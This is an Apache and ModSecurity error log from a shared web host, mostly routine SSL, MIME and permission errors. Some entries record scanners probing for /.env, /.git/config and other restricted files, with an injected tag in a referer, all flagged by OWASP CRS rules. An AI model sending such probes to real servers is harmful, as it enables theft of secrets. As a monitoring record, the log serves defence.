[Fri Jul 17 10:17:43.405619 2026] [ssl:error] [pid 2047046:tid 2047046] (70014)End of file found: [client 66.85.158.91:57202] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:17:43.589743 2026] [security2:error] [pid 2065296:tid 2065296] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almz76alZQB2GOvLY17eSQAAAAc"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 10:17:43.589776 2026] [security2:error] [pid 2065296:tid 2065296] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almz76alZQB2GOvLY17eSQAAAAc"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 10:17:48.053529 2026] [mime:warn] [pid 2070774:tid 2070774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:17:49.539603 2026] [security2:error] [pid 2018768:tid 2018768] [client 80.241.220.98:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/colourmarklabels-global": Permission denied [hostname "colourmarklabels.com"] [uri "/wp-includes/IXR/"] [unique_id "almz9VCBpfuYyhJ140vhJAAAAB4"], referer: binance.com
[Fri Jul 17 10:17:49.539648 2026] [security2:error] [pid 2018768:tid 2018768] [client 80.241.220.98:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/colourmarklabels-ip": Permission denied [hostname "colourmarklabels.com"] [uri "/wp-includes/IXR/"] [unique_id "almz9VCBpfuYyhJ140vhJAAAAB4"], referer: binance.com
[Fri Jul 17 10:17:50.766783 2026] [ssl:error] [pid 2060590:tid 2060590] (70014)End of file found: [client 66.85.158.91:57468] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:17:52.312396 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:52838] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:17:52.545821 2026] [security2:error] [pid 2047046:tid 2047046] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/vol_46_no_33-english.pdf"] [unique_id "almz-E_0b3nWp8txtSDLYAAAAA0"]
[Fri Jul 17 10:17:52.546334 2026] [security2:error] [pid 2047046:tid 2047046] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/vol_46_no_33-english.pdf"] [unique_id "almz-E_0b3nWp8txtSDLYAAAAA0"]
[Fri Jul 17 10:17:52.546805 2026] [security2:error] [pid 2047046:tid 2047046] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/vol_46_no_33-english.pdf"] [unique_id "almz-E_0b3nWp8txtSDLYAAAAA0"]
[Fri Jul 17 10:17:53.271748 2026] [mime:warn] [pid 2063895:tid 2063895] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:17:57.645338 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:17:57.792340 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:17:58.384375 2026] [ssl:error] [pid 2060590:tid 2060590] (70014)End of file found: [client 66.85.158.91:53092] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:18:01.296629 2026] [core:error] [pid 2063442:tid 2063442] (13)Permission denied: [client 47.79.11.17:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:52/subsystem/ttyS1/device/driver/uevent
[Fri Jul 17 10:18:02.204870 2026] [mime:warn] [pid 2063883:tid 2063883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:18:02.313781 2026] [ssl:error] [pid 2065293:tid 2065293] (70014)End of file found: [client 66.85.158.91:50926] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:18:04.212629 2026] [ssl:error] [pid 2063463:tid 2063463] (70014)End of file found: [client 66.85.158.91:51052] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:18:04.869624 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:18:04.869893 2026] [mime:warn] [pid 2070772:tid 2070772] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:18:04.978090 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:51084] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:18:05.646927 2026] [security2:error] [pid 2063895:tid 2063895] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm0BRf3V7HXByUCfDSztQAAABY"], referer: http://anandaobauae.org/?%3Cplay%3Ewithme%3C/%3Euploads/img/news/1686745495_1xiTrophy.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 10:18:05.646973 2026] [security2:error] [pid 2063895:tid 2063895] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm0BRf3V7HXByUCfDSztQAAABY"], referer: http://anandaobauae.org/?%3Cplay%3Ewithme%3C/%3Euploads/img/news/1686745495_1xiTrophy.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 10:18:06.504353 2026] [ssl:error] [pid 2063441:tid 2063441] (70014)End of file found: [client 66.85.158.91:51130] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:18:06.591983 2026] [ssl:error] [pid 2064883:tid 2064883] (70014)End of file found: [client 66.85.158.91:51132] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:18:08.264849 2026] [ssl:error] [pid 2060590:tid 2060590] (70014)End of file found: [client 66.85.158.91:51220] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:18:08.522815 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:18:10.674876 2026] [ssl:error] [pid 2065293:tid 2065293] (70014)End of file found: [client 66.85.158.91:51322] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:18:11.258181 2026] [security2:error] [pid 1993572:tid 1993572] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.anandaobauae.org"] [uri "/js/jquery-1.9.0.min.js"] [unique_id "alm0C4l9vhFBGA6D8l-IQQAAAAw"]
[Fri Jul 17 10:18:11.258629 2026] [security2:error] [pid 1993572:tid 1993572] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/js/jquery-1.9.0.min.js"] [unique_id "alm0C4l9vhFBGA6D8l-IQQAAAAw"]
[Fri Jul 17 10:18:11.359171 2026] [ssl:error] [pid 2065297:tid 2065297] (70014)End of file found: [client 66.85.158.91:49432] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:18:11.413761 2026] [security2:error] [pid 1993572:tid 1993572] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/js/jquery-1.9.0.min.js"] [unique_id "alm0C4l9vhFBGA6D8l-IQQAAAAw"]
[Fri Jul 17 10:18:11.846366 2026] [mime:warn] [pid 2063883:tid 2063883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:18:12.365308 2026] [mime:warn] [pid 2063442:tid 2063442] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:18:15.182881 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:18:16.524497 2026] [ssl:error] [pid 2064883:tid 2064883] (70014)End of file found: [client 66.85.158.91:49604] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:18:18.384582 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:49736] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:18:18.488877 2026] [ssl:error] [pid 2063889:tid 2063889] (70014)End of file found: [client 66.85.158.91:49746] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:18:20.088498 2026] [ssl:error] [pid 2063895:tid 2063895] (70014)End of file found: [client 66.85.158.91:49810] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:18:20.288942 2026] [ssl:error] [pid 2063463:tid 2063463] (70014)End of file found: [client 66.85.158.91:49824] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:18:20.629671 2026] [security2:error] [pid 2063883:tid 2063883] [client 104.210.56.225:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/nccphealthgov-global": Permission denied [hostname "www.nccp.health.gov.lk"] [uri "/nccp/public/js/jquery.tweet.js"] [unique_id "alm0FFWVGD3EZW05fn32PAAAAAI"], referer: https://www.nccp.health.gov.lk/en
[Fri Jul 17 10:18:20.629708 2026] [security2:error] [pid 2063883:tid 2063883] [client 104.210.56.225:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/nccphealthgov-ip": Permission denied [hostname "www.nccp.health.gov.lk"] [uri "/nccp/public/js/jquery.tweet.js"] [unique_id "alm0FFWVGD3EZW05fn32PAAAAAI"], referer: https://www.nccp.health.gov.lk/en
[Fri Jul 17 10:18:21.853579 2026] [mime:warn] [pid 2070774:tid 2070774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:18:21.967816 2026] [mime:warn] [pid 2068138:tid 2068138] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:18:22.160790 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:18:22.618971 2026] [ssl:error] [pid 2070774:tid 2070774] (70014)End of file found: [client 66.85.158.91:43320] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:18:22.977217 2026] [ssl:error] [pid 2060590:tid 2060590] (70014)End of file found: [client 66.85.158.91:43348] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:18:23.696803 2026] [ssl:error] [pid 2064883:tid 2064883] (70014)End of file found: [client 66.85.158.91:43384] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:18:27.043319 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:18:27.148479 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:18:28.663679 2026] [mime:warn] [pid 2063895:tid 2063895] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:18:32.108434 2026] [security2:error] [pid 2070774:tid 2070774] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm0IJgSqNK-noXr5RtmTwAAAA4"], referer: http://anandaobauae.org/?C=D;O=Auploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 10:18:32.108468 2026] [security2:error] [pid 2070774:tid 2070774] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm0IJgSqNK-noXr5RtmTwAAAA4"], referer: http://anandaobauae.org/?C=D;O=Auploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 10:18:38.025931 2026] [ssl:error] [pid 2074597:tid 2074597] (70014)End of file found: [client 66.85.158.91:45304] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:18:40.936767 2026] [mime:warn] [pid 2063895:tid 2063895] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:18:41.643029 2026] [ssl:error] [pid 2039911:tid 2039911] (5)Input/output error: [client 66.85.158.91:45804] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:18:42.294118 2026] [ssl:error] [pid 2063436:tid 2063436] (70014)End of file found: [client 66.85.158.91:45822] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:18:42.802185 2026] [ssl:error] [pid 2068143:tid 2068143] (70014)End of file found: [client 66.85.158.91:45854] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:18:45.461807 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:45970] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:18:46.163475 2026] [security2:error] [pid 2063883:tid 2063883] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm0LlWVGD3EZW05fn32SQAAAAI"], referer: http://anandaobauae.org/?C=N;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 10:18:46.163508 2026] [security2:error] [pid 2063883:tid 2063883] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm0LlWVGD3EZW05fn32SQAAAAI"], referer: http://anandaobauae.org/?C=N;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 10:18:47.697763 2026] [mime:warn] [pid 2063883:tid 2063883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:18:47.741608 2026] [mime:warn] [pid 2063442:tid 2063442] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:18:47.830020 2026] [ssl:error] [pid 2065293:tid 2065293] (70014)End of file found: [client 66.85.158.91:46020] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:18:48.211962 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:46036] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:18:49.784335 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:18:50.096858 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:18:50.706448 2026] [security2:error] [pid 2065296:tid 2065296] [client 192.178.4.96:0] ModSecurity: Warning. Matched phrase "bower.json" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: bower.json found within REQUEST_FILENAME: /epid/epid/node_modules/jsgrid/bower.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ksoft.web.lk"] [uri "/epid/epid/node_modules/jsgrid/bower.json"] [unique_id "alm0MqalZQB2GOvLY17ecAAAAAc"]
[Fri Jul 17 10:18:50.706806 2026] [security2:error] [pid 2065296:tid 2065296] [client 192.178.4.96:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ksoft.web.lk"] [uri "/epid/epid/node_modules/jsgrid/bower.json"] [unique_id "alm0MqalZQB2GOvLY17ecAAAAAc"]
[Fri Jul 17 10:18:50.707298 2026] [security2:error] [pid 2065296:tid 2065296] [client 192.178.4.96:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ksoft.web.lk"] [uri "/epid/epid/node_modules/jsgrid/bower.json"] [unique_id "alm0MqalZQB2GOvLY17ecAAAAAc"]
[Fri Jul 17 10:18:50.903287 2026] [security2:error] [pid 2063883:tid 2063883] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm0MlWVGD3EZW05fn32TAAAAAI"], referer: http://anandaobauae.org/?C=N;O=Auploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 10:18:50.903337 2026] [security2:error] [pid 2063883:tid 2063883] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm0MlWVGD3EZW05fn32TAAAAAI"], referer: http://anandaobauae.org/?C=N;O=Auploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 10:18:51.024271 2026] [security2:error] [pid 2063442:tid 2063442] [client 20.63.63.128:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/colourmarklabels-global": Permission denied [hostname "mail.colourmarklabels.com"] [uri "/index.php"] [unique_id "alm0MaTW5eFi1WFCzw0YrAAAABc"]
[Fri Jul 17 10:18:51.024322 2026] [security2:error] [pid 2063442:tid 2063442] [client 20.63.63.128:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/colourmarklabels-ip": Permission denied [hostname "mail.colourmarklabels.com"] [uri "/index.php"] [unique_id "alm0MaTW5eFi1WFCzw0YrAAAABc"]
[Fri Jul 17 10:18:54.652763 2026] [mime:warn] [pid 2065293:tid 2065293] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:18:54.656271 2026] [mime:warn] [pid 2063895:tid 2063895] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:18:57.648342 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:18:57.846464 2026] [core:error] [pid 2030804:tid 2030804] (13)Permission denied: [client 57.141.18.19:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory88/subsystem/devices/memory141/subsystem/devices/memory6/node0/memory133/subsystem/uevent
[Fri Jul 17 10:18:58.773441 2026] [ssl:error] [pid 2063463:tid 2063463] (70014)End of file found: [client 66.85.158.91:37250] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:18:59.202998 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:37268] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:19:01.771693 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:19:02.624425 2026] [ssl:error] [pid 2063436:tid 2063436] (70014)End of file found: [client 66.85.158.91:60902] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:19:03.297169 2026] [security2:error] [pid 1993572:tid 1993572] [client 84.247.146.115:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "jrdcback.ksoft.web.lk"] [uri "/.env"] [unique_id "alm0P4l9vhFBGA6D8l-IXAAAAAw"]
[Fri Jul 17 10:19:03.297411 2026] [security2:error] [pid 1993572:tid 1993572] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdcback.ksoft.web.lk"] [uri "/.env"] [unique_id "alm0P4l9vhFBGA6D8l-IXAAAAAw"]
[Fri Jul 17 10:19:03.298991 2026] [security2:error] [pid 2034024:tid 2034024] [client 84.247.146.115:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "jrdcback.ksoft.web.lk"] [uri "/.git/config"] [unique_id "alm0P4-0g_VSPeIeFN3OpQAAAAs"]
